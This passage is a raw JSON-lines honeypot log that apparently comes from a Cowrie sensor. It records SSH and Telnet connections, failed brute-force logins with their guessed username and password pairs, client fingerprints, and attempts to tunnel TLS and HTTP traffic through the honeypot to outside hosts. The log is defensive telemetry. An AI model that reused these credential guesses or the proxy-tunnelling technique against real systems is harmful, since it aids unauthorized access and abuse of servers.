10; M2007J1SC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dXc4IUlMVEc%2BZmo1P3dKcQ%3D%3DvFaLfND%2F%2Bz1pp1glTwVTkZ8hOycGE7mDu2XkaSslELVUJEwETxYuk1Q6vqC6l270dI2W79xgMmbVUuMaK2iTcuUkUXMXERQ%2B0Ck0nnGRSs6MbTGn6B4mFjV75xGcLP4ghAgK9OS%2BpX4cLEiwgUtHsrGt8CNh0GfudKYYYJo8VfNKdNjj75Jo3wkrE3DWqK1CWWrSBdpkDH%2F5y1cF6FfproKx%2BUEG2tAlRNgwy%2F6tnxFzt6UAA4mqVatVr9iHS1zPzjwIfxeQPuUiRx7bqFWUpISx%2FGVm0EHOYSdZudK0O94J7oeErwlASa2tWnyVQ%2BuF2hhfdwp%2F9T76BTnrlr9aER4MfyjWLmlV1lFGXkRtAGKSJQyp%2FSLEiW%2Fhg6ernNYrd7IG9%2FrhLS5F7FTHIPBGwpN5D539GN%2BKyLDSHl7A%2B%2FcUgeA5XmoQXMQpkUq05iY7vgv1N20k9hfGa0t6396g3jzJtzMfq6%2F3SiP0VY7oPNfcRjKhCrRQJWvG3qT1RZhDXkNMsu6tTrOWIw8JD2yGL6KX4xuEXnXUtgETXaw8KegjCY7RGmI%2FxYo9gspM%2FyuoJX70TDDspsEUG5y%2BWmDTJIJCepqJNpmxu%2BJnX9xcnwFpJjaSwqEF8EWdco78LdPKk25GuhLfz27QOmy6PXaWwfMHgN8NuNYDYCJkFImtwwFRFHVlVHj9yjrkShpu%2FVMy2pE7vIpm0t%2BAJZ1X1DIzTJOIZgz4ubkYvyN63fZQGJ5X1LoVEYPwdESCRvYCdP%2FjOB3XILCDdL9tZBKm9%2FKAdSrAnh1Ews%2BrrZVzdducy2Hy31xqfUT3tQxHhLT7KQQQOhITy6V9%2F87uqyeinLOTZM%2Flo3B6CZHBuH32jo%2FXWSKivY7aPMZ1r8nB%2BmvQi45fYeN2IJeOYP1AZS66XgVDlxKsVtWgqtwLmXt3M5RTdGbnpWdjlzNm0I%2Bs%2ByxXzDyXLmMjEozNEBxj3q11Z2UJz%2F5ocumGfhFbfj5Rk19F%2FO4smNZDQuCft9SCDBwYPDncIzJGiq97mspfAT6K1E0RIMjkiHeRlG6J4OxHUn6%2F9z9%2BsWhHOpvoNpkiZOLoBRlV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.296055Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.598039Z","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.656356Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\xb5x\\xc0\\xd4\\xc2\\r\\xaeE!c\\xbe\\xdfU\\xc4\\xc5E\\x97M\\x0b\\x82'\\x9c#\\xd5\\x0e(\\xa6\\n\\x08\\xd0\\x13 \\xdc\\xd4\\xb7)\\xa9h\\xbf\\x14\\xbfT\\x9a\\xb5/\\x96X\\xc7\\x05\\xc8#?\\x88U\\xd2\\xb9\\xba\\xb0\\xca\\x0cr3\\xc91\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86D\\xc5\\xa3\\xae\\xf7UW\\xa8\\x03\\x08'\\xf1\\xba\\xd9>\\x98\\xbf\\x94\\x1e'\\xbf\\xf6\\x81\\x0cvM\\x06\\xce%Y[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\xb5x\\xc0\\xd4\\xc2\\r\\xaeE!c\\xbe\\xdfU\\xc4\\xc5E\\x97M\\x0b\\x82'\\x9c#\\xd5\\x0e(\\xa6\\n\\x08\\xd0\\x13 \\xdc\\xd4\\xb7)\\xa9h\\xbf\\x14\\xbfT\\x9a\\xb5/\\x96X\\xc7\\x05\\xc8#?\\x88U\\xd2\\xb9\\xba\\xb0\\xca\\x0cr3\\xc91\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86D\\xc5\\xa3\\xae\\xf7UW\\xa8\\x03\\x08'\\xf1\\xba\\xd9>\\x98\\xbf\\x94\\x1e'\\xbf\\xf6\\x81\\x0cvM\\x06\\xce%Y[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.659694Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.727758Z","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.782011Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x9dD\\xa8\\x92#\\x0e\\xba\\xec\\xc2W)7\\xe2e]\\x18\\x85\\xde\\xc6\\xf4\\x11T*\\xb0x{\\xc2\\xe9\\x87m8 \\xd9\\x03\\x9cH%\\xef\\xc7\\'\\xd0\\x0c5\\xaa\\x93\\xdc\\x13\\x97\\xc0m\\x19\\x88\\xe2R\\xa14\\x01\\xfdlh|\\x0c\\xb8\\xa1\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\xd9\\x82`\\xdb \\x9e\\xa0\\x80\\x16\\xb5\\x82\\x90r\\n#\\x06\\xf0%\\x9b\\x91\\xcb\\xfd\\xf4\\\\V/\\xde\\xd72\\xf16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x9dD\\xa8\\x92#\\x0e\\xba\\xec\\xc2W)7\\xe2e]\\x18\\x85\\xde\\xc6\\xf4\\x11T*\\xb0x{\\xc2\\xe9\\x87m8 \\xd9\\x03\\x9cH%\\xef\\xc7\\'\\xd0\\x0c5\\xaa\\x93\\xdc\\x13\\x97\\xc0m\\x19\\x88\\xe2R\\xa14\\x01\\xfdlh|\\x0c\\xb8\\xa1\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\xd9\\x82`\\xdb \\x9e\\xa0\\x80\\x16\\xb5\\x82\\x90r\\n#\\x06\\xf0%\\x9b\\x91\\xcb\\xfd\\xf4\\\\V/\\xde\\xd72\\xf16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.785753Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aysha","password":"aysha","message":"login attempt [aysha/aysha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:26.503693Z","src_ip":"91.92.40.36","session":"2d4d597d3e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33659887313843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:26.710374Z","src_ip":"172.81.62.90","session":"675f1923efe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16248,"dst_ip":"159.203.135.109","dst_port":22,"session":"da05d4b2b474","protocol":"ssh","message":"New connection: 91.92.40.36:16248 (159.203.135.109:22) [session: da05d4b2b474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:26.861487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:27.834070Z","src_ip":"91.92.40.36","session":"da05d4b2b474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:27.838533Z","src_ip":"91.92.40.36","session":"da05d4b2b474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:28.400206Z","src_ip":"91.92.40.36","session":"2d4d597d3e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.0","message":"Connection lost after 22.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:29.649992Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pump","message":"login attempt [admin/pump] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:31.365123Z","src_ip":"91.92.40.36","session":"da05d4b2b474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":44828,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4dc20cb2899","protocol":"ssh","message":"New connection: 14.103.113.53:44828 (159.203.135.109:22) [session: c4dc20cb2899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:32.494882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:32.499697Z","src_ip":"14.103.113.53","session":"c4dc20cb2899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:32.996472Z","src_ip":"91.92.40.36","session":"da05d4b2b474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:33.586145Z","src_ip":"14.103.113.53","session":"c4dc20cb2899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2025","message":"login attempt [test/Test2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:34.203129Z","src_ip":"14.103.113.53","session":"c4dc20cb2899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":57024,"dst_ip":"159.203.135.109","dst_port":22,"session":"187182d66cc6","protocol":"ssh","message":"New connection: 103.60.242.169:57024 (159.203.135.109:22) [session: 187182d66cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:34.222360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:34.226086Z","src_ip":"103.60.242.169","session":"187182d66cc6","protocol":"ssh"}
